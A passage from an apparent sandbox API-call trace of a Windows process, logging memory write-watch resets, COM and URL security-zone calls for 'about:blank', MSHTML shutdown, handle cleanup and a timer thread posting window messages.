0x0 [0259.988] ResetWriteWatch (lpBaseAddress=0x490a000, dwRegionSize=0x1000) returned 0x0 [0259.989] ResetWriteWatch (lpBaseAddress=0x490b000, dwRegionSize=0x1000) returned 0x0 [0259.989] ResetWriteWatch (lpBaseAddress=0x490c000, dwRegionSize=0x1000) returned 0x0 [0259.989] ResetWriteWatch (lpBaseAddress=0x490d000, dwRegionSize=0x1000) returned 0x0 [0259.989] ResetWriteWatch (lpBaseAddress=0x490e000, dwRegionSize=0x1000) returned 0x0 [0259.989] ResetWriteWatch (lpBaseAddress=0x490f000, dwRegionSize=0x1000) returned 0x0 [0259.992] ResetWriteWatch (lpBaseAddress=0x48f0000, dwRegionSize=0x1000) returned 0x0 [0259.992] ResetWriteWatch (lpBaseAddress=0x48f1000, dwRegionSize=0x1000) returned 0x0 [0259.992] ResetWriteWatch (lpBaseAddress=0x48f2000, dwRegionSize=0x1000) returned 0x0 [0259.992] ResetWriteWatch (lpBaseAddress=0x48f3000, dwRegionSize=0x1000) returned 0x0 [0259.992] ResetWriteWatch (lpBaseAddress=0x48f4000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48f6000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48f7000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48f8000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48f9000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48fa000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48fb000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48fc000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48fd000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48fe000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x48ff000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4900000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4901000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4902000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4903000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4904000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4905000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4907000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4908000, dwRegionSize=0x1000) returned 0x0 [0259.993] ResetWriteWatch (lpBaseAddress=0x4909000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490a000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490b000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490c000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490d000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490e000, dwRegionSize=0x1000) returned 0x0 [0259.994] ResetWriteWatch (lpBaseAddress=0x490f000, dwRegionSize=0x1000) returned 0x0 [0260.001] GetACP () returned 0x4e4 [0260.001] FreeLibrary (hLibModule=0x723e0000) returned 1 [0260.004] IUnknown:Release (This=0x918ee0) returned 0x0 [0260.004] IUnknown:Release (This=0x1170e04) returned 0x0 [0260.004] IUnknown:Release (This=0x7387f4d4) returned 0x1 [0260.004] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x3dfd48 | out: ppURI=0x3dfd48*=0x910f1c) returned 0x0 [0260.004] IUri:GetScheme (in: This=0x910f1c, pdwScheme=0x3dfce0 | out: pdwScheme=0x3dfce0*=0x11) returned 0x0 [0260.005] IUnknown:QueryInterface (in: This=0x910f1c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3dfccc | out: ppvObject=0x3dfccc*=0x910f1c) returned 0x0 [0260.005] IUnknown:Release (This=0x910f1c) returned 0x5 [0260.005] IUnknown:AddRef (This=0x910f1c) returned 0x6 [0260.005] IUnknown:Release (This=0x910f1c) returned 0x5 [0260.005] IUri:IsEqual (in: This=0x9116a4, pUri=0x910f1c, pfEqual=0x3dfd30 | out: pfEqual=0x3dfd30*=0) returned 0x0 [0260.005] IUnknown:Release (This=0x9116a4) returned 0x6 [0260.005] IUnknown:AddRef (This=0x910f1c) returned 0x6 [0260.005] IUri:GetAbsoluteUri (in: This=0x910f1c, pbstrAbsoluteUri=0x114e240 | out: pbstrAbsoluteUri=0x114e240*="about:blank") returned 0x0 [0260.005] RtlReAllocateHeap (Heap=0x8f0000, Flags=0x0, Ptr=0x91bfb0, Size=0x1c) returned 0x97a138 [0260.006] IUnknown:Release (This=0x910f1c) returned 0x5 [0260.006] IUnknown:Release (This=0x9118f8) returned 0x2 [0260.006] IUnknown:Release (This=0x9156bc) returned 0xc [0260.006] IUnknown:Release (This=0x9156bc) returned 0xb [0260.006] IUnknown:Release (This=0x9156bc) returned 0xa [0260.006] IUnknown:Release (This=0x9156bc) returned 0x9 [0260.006] IUnknown:Release (This=0x9116a4) returned 0x5 [0260.006] IUnknown:Release (This=0x9156bc) returned 0x8 [0260.007] IUnknown:Release (This=0x9156bc) returned 0x7 [0260.007] IUnknown:Release (This=0x9116a4) returned 0x4 [0260.007] IUnknown:Release (This=0x9182e0) returned 0x0 [0260.007] IUnknown:Release (This=0x90a83c) returned 0x1 [0260.007] IUnknown:Release (This=0x90a840) returned 0x0 [0260.007] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x90a838 | out: hHeap=0x8f0000) returned 1 [0260.007] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x927db0 | out: hHeap=0x8f0000) returned 1 [0260.007] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x9268e8 | out: hHeap=0x8f0000) returned 1 [0260.007] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x91d318 | out: hHeap=0x8f0000) returned 1 [0260.008] IUnknown:Release (This=0x9156bc) returned 0x6 [0260.008] IUnknown:Release (This=0x9156bc) returned 0x5 [0260.008] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x3df94c, dwReserved=0x0 | out: ppSM=0x3df94c*=0x97ef10) returned 0x0 [0260.008] IUnknown:QueryInterface (in: This=0x97ef10, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x3df950 | out: ppvObject=0x3df950*=0x97ef10) returned 0x0 [0260.008] IUnknown:Release (This=0x97ef10) returned 0x1 [0260.009] IInternetSecurityManager:SetSecuritySite (This=0x97ef10, pSite=0x1170e04) returned 0x0 [0260.009] IUnknown:AddRef (This=0x1170e04) returned 0x41 [0260.009] IUnknown:QueryInterface (in: This=0x1170e04, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x3df928 | out: ppvObject=0x3df928*=0x1170e08) returned 0x0 [0260.009] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x97ef44 | out: ppvObject=0x97ef44*=0x0) returned 0x80004002 [0260.009] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x97ef40 | out: ppvObject=0x97ef40*=0x0) returned 0x80004002 [0260.009] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x97ef3c | out: ppvObject=0x97ef3c*=0x0) returned 0x80004002 [0260.009] IServiceProvider:QueryService (in: This=0x1170e08, guidService=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x97ef38 | out: ppvObject=0x97ef38*=0x7387f4d4) returned 0x0 [0260.009] IUnknown:Release (This=0x1170e08) returned 0x0 [0260.009] IUnknown:AddRef (This=0x97ef10) returned 0x2 [0260.009] IUnknown:AddRef (This=0x910f1c) returned 0x6 [0260.009] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0260.009] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="about:blank", pdwZone=0x3df9a0, dwFlags=0x0 | out: pdwZone=0x3df9a0*=0xffffffff) returned 0x800c0011 [0260.010] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0260.010] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0260.010] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x97ef10, pUri=0x910f1c, dwAction=0x2106, pPolicy=0x3df9a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x3df984 | out: pPolicy=0x3df9a4*=0x0, pdwOutFlags=0x3df984*=0x0) returned 0x0 [0260.010] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x3df9a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x3df9a4*=0x0) returned 0x0 [0260.010] IUnknown:Release (This=0x97ef10) returned 0x1 [0260.010] IUnknown:Release (This=0x910f1c) returned 0x5 [0260.011] IUnknown:Release (This=0x8fd120) returned 0x0 [0260.011] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x69) returned 0x952508 [0260.011] memcpy_s (in: _Destination=0x952508, _DestinationSize=0x69, _Source=0x927020, _SourceSize=0x69 | out: _Destination=0x952508) returned 0x0 [0260.011] IUnknown:Release (This=0x9156bc) returned 0x2 [0260.013] IUnknown:Release (This=0x910f1c) returned 0x4 [0260.014] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0260.014] IUnknown:Release (This=0x97ef10) returned 0x0 [0260.014] IUnknown:Release (This=0x1170e04) returned 0x0 [0260.015] IUnknown:Release (This=0x7387f4d4) returned 0x7fff [0260.015] CoTaskMemFree (pv=0x9113f0) [0260.015] CoTaskMemFree (pv=0x911418) [0260.015] IUnknown:Release (This=0x918060) returned 0x0 [0260.019] UnregisterClassW (lpClassName=0xc16b, hInstance=0x0) returned 1 [0260.019] UnmapViewOfFile (lpBaseAddress=0x1290000) returned 1 [0260.019] CloseHandle (hObject=0x37c) returned 1 [0260.019] CloseHandle (hObject=0x378) returned 1 [0260.019] IInternetSession:UnregisterNameSpace (This=0x9118f8, pCF=0x7376ba70, pszProtocol="res") returned 0x0 [0260.019] IUnknown:Release (This=0x7376ba70) returned 0x1 [0260.019] IInternetSession:UnregisterNameSpace (This=0x9118f8, pCF=0x7376ba90, pszProtocol="about") returned 0x0 [0260.019] IUnknown:Release (This=0x7376ba90) returned 0x1 [0260.019] IInternetSession:UnregisterNameSpace (This=0x9118f8, pCF=0x7376c164, pszProtocol="blob") returned 0x0 [0260.019] IUnknown:AddRef (This=0x7376c164) returned 0x1 [0260.020] IUnknown:Release (This=0x9118f8) returned 0x1 [0260.020] SetEvent (hEvent=0x284) returned 1 [0260.020] SetThreadPriority (hThread=0x2a0, nPriority=0) returned 1 [0260.021] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3dfce8*=0x278, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.021] SetEvent (hEvent=0x28c) returned 1 [0260.022] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3dfcd0*=0x288, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.022] CloseHandle (hObject=0x288) returned 1 [0260.022] CloseHandle (hObject=0x28c) returned 1 [0260.022] CloseHandle (hObject=0x290) returned 1 [0260.022] SetEvent (hEvent=0x298) returned 1 [0260.023] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3dfcd0*=0x294, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.023] CloseHandle (hObject=0x294) returned 1 [0260.024] CloseHandle (hObject=0x298) returned 1 [0260.024] CloseHandle (hObject=0x29c) returned 1 [0260.024] CloseHandle (hObject=0x280) returned 1 [0260.024] CloseHandle (hObject=0x278) returned 1 [0260.024] CloseHandle (hObject=0x284) returned 1 [0260.024] CloseHandle (hObject=0x2a0) returned 1 [0260.024] CloseHandle (hObject=0x27c) returned 1 [0260.024] HeapFree (in: hHeap=0x12e0000, dwFlags=0x0, lpMem=0x4732650 | out: hHeap=0x12e0000) returned 1 [0260.024] CoTaskMemFree (pv=0x0) [0260.024] IUnknown:Release (This=0x918ae0) returned 0x0 [0260.026] GetExitCodeThread (in: hThread=0x1cc, lpExitCode=0x3dfc84 | out: lpExitCode=0x3dfc84) returned 1 [0260.026] CloseHandle (hObject=0x374) returned 1 [0260.026] DeleteDC (hdc=0xcc010703) returned 1 [0260.034] CoDecrementMTAUsage (Cookie=0x910bb8) returned 0x0 [0260.583] GetExitCodeThread (in: hThread=0x55c, lpExitCode=0x3dfd14 | out: lpExitCode=0x3dfd14) returned 1 [0260.584] CActiveIMMAppEx_Trident:IUnknown:Release (This=0x926820) returned 0x0 [0260.584] ReleaseActCtx (in: hActCtx=0x911fb4 | out: hActCtx=0x911fb4) [0260.585] FreeLibrary (hLibModule=0x726c0000) returned 1 [0260.585] FreeLibrary (hLibModule=0x726c0000) returned 1 [0260.585] UnregisterClassW (lpClassName=0xc0f8, hInstance=0x726c0000) returned 1 [0260.585] UnregisterClassW (lpClassName=0xc0f5, hInstance=0x726c0000) returned 1 [0260.586] OleUninitialize () [0260.586] DestroyWindow (hWnd=0x70126) returned 1 [0260.586] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0260.587] PostQuitMessage (nExitCode=0) [0260.923] DllCanUnloadNow () returned 0x0 [0260.923] NdrDllCanUnloadNow (pPSFactoryBuffer=0x719e1e08) returned 0x0 [0260.923] SetEvent (hEvent=0x4a8) returned 1 [0260.923] SetThreadPriority (hThread=0x4ac, nPriority=0) returned 1 [0260.923] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3df9ec*=0x4a4, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.924] CloseHandle (hObject=0x4a0) returned 1 [0260.925] CloseHandle (hObject=0x4a4) returned 1 [0260.925] CloseHandle (hObject=0x4a8) returned 1 [0260.927] DllCanUnloadNow () returned 0x1 [0260.927] DllCanUnloadNow () returned 0x0 [0260.927] free (_Block=0xbea740) [0260.937] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0260.940] DeleteAtom (nAtom=0xc005) returned 0x0 [0260.940] EtwEventUnregister (RegHandle=0x92b920) returned 0x0 [0260.940] EtwEventUnregister (RegHandle=0x92bba8) returned 0x0 [0260.940] EtwEventUnregister (RegHandle=0x92bfe0) returned 0x0 [0260.952] FreeLibrary (hLibModule=0x74100000) returned 1 [0260.952] FreeLibrary (hLibModule=0x71fa0000) returned 1 Thread: id = 68 os_tid = 0xb08 Thread: id = 70 os_tid = 0x210 [0251.938] GetCurrentThreadId () returned 0x210 [0251.938] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x497fd7c | out: phModule=0x497fd7c*=0x726c0000) returned 1 [0251.938] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x497fd80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x497fd80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.938] SetEvent (hEvent=0x288) returned 1 [0251.939] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0260.021] SetEvent (hEvent=0x288) returned 1 [0260.021] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0260.021] GetCurrentThreadId () returned 0x210 Thread: id = 72 os_tid = 0xa70 [0251.944] GetCurrentThreadId () returned 0xa70 [0251.944] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x4a0f7c0 | out: phModule=0x4a0f7c0*=0x726c0000) returned 1 [0251.945] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4a0f7c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4a0f7c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.945] SetEvent (hEvent=0x294) returned 1 [0251.945] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0xffffffff) returned 0x0 [0260.022] SetEvent (hEvent=0x294) returned 1 [0260.022] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0260.023] GetCurrentThreadId () returned 0xa70 Thread: id = 74 os_tid = 0x4f0 [0251.980] GetCurrentThreadId () returned 0x4f0 [0251.981] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca3990, phModule=0x4a9fd54 | out: phModule=0x4a9fd54*=0x726c0000) returned 1 [0251.981] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4a9fd64*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4a9fd64*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.981] SetEvent (hEvent=0x278) returned 1 [0252.018] GetCurrentThread () returned 0xfffffffe [0252.019] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0252.352] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x4a9fd5c*=0x284, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.020] SetEvent (hEvent=0x278) returned 1 [0260.020] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0260.020] GetCurrentThreadId () returned 0x4f0 Thread: id = 75 os_tid = 0xd34 [0252.329] GetCurrentThreadId () returned 0xd34 Thread: id = 76 os_tid = 0xc6c [0252.330] GetCurrentThreadId () returned 0xc6c [0252.330] GetCurrentThread () returned 0xfffffffe [0252.330] SetThreadPriority (hThread=0xfffffffe, nPriority=15) returned 1 [0252.330] WTSGetActiveConsoleSessionId () returned 0x1 [0252.330] LdrResolveDelayLoadedAPI () returned 0x72350b40 [0252.337] CreateDXGIFactory () returned 0x0 [0252.349] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x4d1fd38 | out: lpDevMode=0x4d1fd38) returned 1 [0252.349] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25565211141) returned 1 [0252.369] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25567138837) returned 1 [0252.369] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.369] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3d3c5c, lParam=0x3d09) returned 1 [0252.369] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25567163046) returned 1 [0252.385] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25568724355) returned 1 [0252.385] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.385] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3d7a4b, lParam=0x3d09) returned 1 [0252.385] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25568755999) returned 1 [0252.400] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25570269496) returned 1 [0252.400] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.400] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3db6a6, lParam=0x3d09) returned 1 [0252.400] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25570294603) returned 1 [0252.431] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25573411399) returned 1 [0252.432] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.432] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3e3161, lParam=0x3d09) returned 1 [0252.432] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25573437729) returned 1 [0252.462] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25576514097) returned 1 [0252.463] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.463] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3eaa94, lParam=0x3d09) returned 1 [0252.463] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25576538272) returned 1 [0252.480] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25578301633) returned 1 [0252.480] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.481] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3ef068, lParam=0x3d09) returned 1 [0252.481] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25578329132) returned 1 [0252.511] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25581402866) returned 1 [0252.511] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.511] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3f698c, lParam=0x3d09) returned 1 [0252.512] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25581426451) returned 1 [0252.525] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25582773358) returned 1 [0252.525] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.525] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf3f9f15, lParam=0x3d09) returned 1 [0252.525] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25582801191) returned 1 [0252.557] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25585947715) returned 1 [0252.557] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.557] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf401b15, lParam=0x3d09) returned 1 [0252.557] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25585972484) returned 1 [0252.609] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25591193159) returned 1 [0252.609] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.609] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf40e7fb, lParam=0x3d09) returned 1 [0252.610] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25591221017) returned 1 [0252.611] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25591322182) returned 1 [0252.611] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0252.611] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf40ed05, lParam=0x3d09) returned 1 [0252.611] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25591345849) returned 1 [0252.634] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25593698726) returned 1 [0252.634] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25593710594) returned 1 [0252.666] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25596900236) returned 1 [0252.666] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25596911816) returned 1 [0252.682] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25598500104) returned 1 [0252.683] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25598516625) returned 1 [0252.713] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25601572545) returned 1 [0252.713] WTSGetActiveConsoleSessionId () returned 0x1 [0252.713] CreateDXGIFactory () returned 0x0 [0252.714] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x4d1fd38 | out: lpDevMode=0x4d1fd38) returned 1 [0252.714] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25601705471) returned 1 [0252.750] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25605264773) returned 1 [0252.750] QueryPerformanceCounter 